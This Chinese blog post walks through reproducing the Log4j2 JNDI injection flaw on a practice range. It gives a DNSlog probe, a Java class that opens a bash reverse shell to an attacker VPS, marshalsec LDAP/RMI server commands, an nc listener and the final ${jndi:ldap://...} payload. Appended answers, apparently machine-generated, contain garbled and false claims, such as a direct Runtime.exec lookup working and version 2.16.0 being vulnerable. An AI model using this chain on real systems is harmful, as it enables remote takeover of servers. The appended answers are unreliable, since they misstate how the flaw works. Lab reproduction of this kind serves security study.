记一次:Apache Log4j2 漏洞复现(详细过程)

目录

Apache Log4j2 漏洞复现

 Log4j2:

JNDI:

 LDAP和RMI:

 JNDI注入原理:

Log4j2漏洞原理:

大概了解过后,接下来就是复现Apache Log4j2 漏洞

一、启动漏洞环境

二、访问靶机

三、编写恶意类文件

四、监听反弹

五、发送payload

六、查看监听结果


Apache Log4j2 漏洞复现

对Apache Log4j2进行漏洞复现,首先需要了解什么是Log4j2以及JNDI、LDAP和RMI、JNDI诸如原理以及LOG4J2的漏洞原理。

 Log4j2:

Apache Log4j2是一款Java日志框架,是一个就Java的日志记录工具,用来处理日志信息。

JNDI:

JNDIjava命名和目录接口):他提供一个目录系统,并将服务为名称与对象关联起来(可以理解为一个字典)从 而使得开发人员在开发过程中可以使用目录名称来访问到对应的class对象。JNDI下面有很多目录接口用于不同的数据源的查找引用,其中LDAP/ RMI 就是其中.

简述为:JNDI相当于是JAVA中的一个api,它可以通过命名(目录)来查找数据和对象

 LDAP和RMI:

LDAP:(轻量级目录访问协议)目录是由目录数据库和一套访问协议组成的系统。

RMI:远程方法调用。该协议用于远程调用应用程序接口,是客户机上运行的程序可以调用远程服务器上的对象。

 JNDI注入原理:

JNDI注入简单来说就是JNDI接口在初始化时,如果Lookuoxxxx)方法的参数可控,攻击者就可以将传入恶意参 数,通过JDNI去加载恶意的类class,攻击时常用的就是通过RMILDAP两种协议。

${jndi:ldap://localhost:9999/Test}
EXP:lookup(${jndi:ldap://localhost:9999/Test})

 图解:

Log4j2漏洞原理:

Log4j2提供了Lookup功能模块,因为该模块所导致的问题,Log4j在处理打印程序日志记录时,如果日志中包含${} 时,则会去解析其中的值,例如${java.version} 会被解析为对应的Java版本,攻击可以利用这一点进行JDNI注入, 使用LDAP/RMI协议,从远程服务器上获取恶意的class文件(对象),并在本地加载返回的Class类,造成命令执行 漏洞。

例如:
${jndi:ldap://localhost:9999/Test}

大概了解过后,接下来就是复现Apache Log4j2 漏洞

一、启动漏洞环境

 

两种途径:一种是vulhub:log4j2/CVE-2021-44228 docker-compose启动环境

详情就不再这里叙述了,没有搭建过vulhub环境的直接去参考这位博主的即可:

 我这里使用的是在线环境:

封神台 - 掌控安全在线攻防演练靶场,一个专为网络安全从业人员设计的白帽黑客渗透测试演练平台。 (zkaq.cn)

二、访问靶机

页面只存在一个登录框,没有其他信息以及功能点,那就利用Dnslog外带检测dns回显,测试一下

是否存在漏洞。

既然只存在登录框,那我们就利用登录框来传递参数:

${jndi:ldap://${sys:java.version}.kxeqa4.dnslog.cn}

记得后面替换为你获取到的dnslog。

登录,查看dnslog页面是否有数据带出来

数据存在回显,将java的版本号带出来了,那就说明这里存在漏洞。

三、编写恶意类文件

首先需要在/otp目录下安装java环境(可以在云服务器上进行)

官网链接放这里了,最好是下载linx64,1.8版本的。

Java Downloads | Oracle

详细的安装过程可以去参考这位博主的文章,写的很详细:

Linux 下安装JDK1.8.0完整教程(附带安装包)_jdk1.8下载与安装教程linux-CSDN博客

或者直接拉一个tar包

curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linuxx64.tar.gz

我这里在官网直接下载的压缩包(linux系统一定要下载tar包),解压缩

接着创建一个软连接

ln -s /opt/jdk1.8.0_20/bin/java /usr/bin/java8
ln -s /opt/jdk1.8.0_20/bin/javac /usr/bin/java8

记得对一下java的版本号。

到这里基本就可以了,查看一下Java的版本验证是否安装成功。

java8 -version
javac8 -version

安装成功。

可以继续我们的目标,写一个恶意文件Expolit.java,反弹shellvps122.51.209.189)的5555端口写入恶意的文件中。

首先,创建Expolit.java类文件,反弹shell到vps(ip为xx.xx.xx.xx)的5555端⼝,因

此对应的bash命令为:

sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/5555 0>&1

创建Expolit.java类文件并写入反弹shell的命令

vim Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c" ,"bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/5555
0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

xxx.xxx.xxx.xxx替换为你要弹到shell 的ip地址。

保存退出。

下一步编译java文件,将Exploit.java文件编译为Exploit.class

javac8.Exploit.java

在class类文件所在的目录中启动http服务

python3 -m http.server

开启LDAP服务

java8 -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://xxx.xxx.xxx.xxx:8000/#Exploit" 1389

或者启动RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
"http://xxx.xxx.xxx.xxx:8000/#Exploit" 8888

开一个服务就好了哈。

四、监听反弹

再开一个vps页面就好了

nc -lvvp 5555

没有nc的yum装一个

yum -y install nc

五、发送payload

${jndi:ldap://xxx.xxx.xxx.xxx/Exploit}

记得替换ip地址

六、查看监听结果

反弹shell成功。

完事。

### 回答1: Apache Log4j2漏洞是一种远程代码执行漏洞,攻击者可以利用该漏洞在受影响的服务器上执行任意代码。攻击者可以通过构造特定的请求,将恶意代码注入到受影响的服务器上,从而实现远程代码执行。该漏洞已被广泛利用,需要尽快修复。建议管理员及时更新受影响的软件版本,以保护服务器安全。 ### 回答2: 近日,全球多个国家的安全研究员纷纷发现一个Apache log4j2漏洞,该漏洞编号为CVE-2021-44228,危害严重。攻击者利用该漏洞可以远程执行恶意代码,入侵服务器、系统和网络,导致极大的信息泄露和系统瘫痪风险。本文将介绍如何在实验环境中进行漏洞复现。 1.环境准备 本次复现可以采用一个简单的demo工程,也可以用一些现有的著名开源项目(如Spring、Kafka)进行复现。这里以demo工程为例。 - 操作系统:Ubuntu 18.04.5 LTS - Java环境:JDK 1.8 - 工程环境:IntelliJ IDEA + Maven 2.漏洞安装 使用Maven构建demo工程,然后在pom.xml文件中加入log4j2依赖,可以使用找公用库的方式如下: ``` <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.16.0</version> </dependency> ``` 其中 version 指定在 这一足以管理员权势时 Apache 官方才刚刚修复的漏洞小版本。 3.漏洞验证 编写一个包含漏洞的代码,如下: ``` package cn.xfakir.demo; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Demo { private static final Logger logger = LogManager.getLogger(Demo.class); public static void main(String[] args) { String payload = "${java.lang.Runtime.getRuntime().exec('calc.exe')}"; logger.info(payload); } } ``` 该代码使用log4j2录日志的方式,使用 ${} 语法引用payload变量的值,当payload变量的值包含恶意命令时,该漏洞即可成功利用,这里设为calc.exe运行计算器程序。 4.利用漏洞 构建好工程之后,启动demo,如果demo的启动方式是直接运行jar包,可以使用以下命令启动: ``` java -jar Demo-1.0-SNAPSHOT.jar ``` 在控制台看到 INFO 模式下的 ${java.lang.Runtime.getRuntime().exec('calc.exe')} 日志输出,则漏洞被成功利用。 5.修复漏洞 Apache官方已经发布了漏洞修复的版本,建议使用最新版本或对应的补丁,详见官方发布的修复安全公告。除此之外,也可以临时关闭log4j2的服务,防止被攻击。 以上是本文关于apache log4j2漏洞复现的介绍,漏洞的修复和预防对于互联网安全至关重要,希望大家及时更新代码和环境,确保系统网络的安全。 ### 回答3: Apache log4j2是一种流行的Java日志框架,它可以通过配置和代码录日志。但是,最近发现了一个名为CVE-2021-44228的漏洞,攻击者可以利用该漏洞log4j2中执行任意代码,这是一种非常危险的攻击。 要复现这个漏洞,我们需要遵循以下步骤: 步骤1:下载log4j2的jar文件。可以从log4j官方网站或maven仓库上下载。 步骤2:使用PayloadsAllTheThings项目中提供的一些有效负载对log4j2进行测试。这些有效负载在此处提供https://github.com/cyberheartmi9/CVE-2021-44228。 步骤3:将有效负载复制到代码中。 步骤4:编写一个Java应用程序,用于建立与log4j2之间的连接,并执行有效负载。建议使用MinimalLocking.java,这个java应用程序将在本地服务器上启动log4j2。 步骤5:编译和运行您的Java应用程序。 步骤6:通过TCP端口和JMX控制台,发送构造的payload来攻击log4j2。 在实际操作中,攻击者可能会使用更高级的方法,例如尝试使用日志录的数据来执行代码。例如,在Java虚拟机中注入Java类,然后在日志输出中使用类的实例。这种方法可能需要攻击者具备更深层次的Java知识。 为了保证系统的安全,建议及时升级log4j2到最新版本,并关注官方通告以了解有关漏洞的最新信息。同时,对于企业用户,建议强化安全性措施,对服务器进行监控和维护,以便及时发现和应对安全漏洞
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值